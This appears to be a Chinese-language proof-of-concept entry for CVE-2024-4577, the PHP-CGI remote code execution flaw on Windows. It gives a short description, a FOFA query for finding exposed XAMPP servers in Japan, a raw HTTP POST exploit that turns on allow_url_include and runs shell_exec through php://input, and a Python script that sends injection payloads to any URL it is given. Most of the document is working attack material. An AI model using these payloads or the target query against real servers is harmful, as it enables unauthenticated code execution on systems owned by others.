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47 lines
1.5 KiB
Markdown
47 lines
1.5 KiB
Markdown
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## PHP-CGI-Windows平台远程代码执行漏洞(CVE-2024-4577)
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PHP 在设计时忽略 Windows 中对字符转换的Best-Fit 特性，当 PHP-CGI 运行在Window平台且使用了如下语系（简体中文936/繁体中文950/日文932等）时，攻击者可构造恶意请求绕过 CVE-2012-1823 补丁，从而可在无需登陆的情况下执行任意PHP代码。
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## fofa
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```
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app="XAMPP" && country="JP"
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```
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## poc
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```
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POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
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Host:
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Content-Type: application/x-www-form-urlencoded
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<?php echo shell_exec("dir"); ?>
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```
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```python
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import requests
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def test_cgi_vulnerability(url):
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payloads = [
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'/cgi-bin/php-cgi.exe?arg=%0aContent-Type:%20text/plain%0a%0a<?php%20echo%20"test";?>',
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'/php-cgi/php-cgi.exe?arg=%0aContent-Type:%20text/plain%0a%0a<?php%20echo%20"test";?>'
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]
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for payload in payloads:
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test_url = f"{url}{payload}"
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try:
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response = requests.get(test_url)
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if "test" in response.text:
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print(f"Potential vulnerability detected at: {test_url}")
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else:
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print(f"No vulnerability detected at: {test_url}")
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except Exception as e:
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print(f"Error testing {test_url}: {e}")
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if __name__ == "__main__":
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url = input("Enter the URL to test (e.g., http://example.com): ")
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test_cgi_vulnerability(url)
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```
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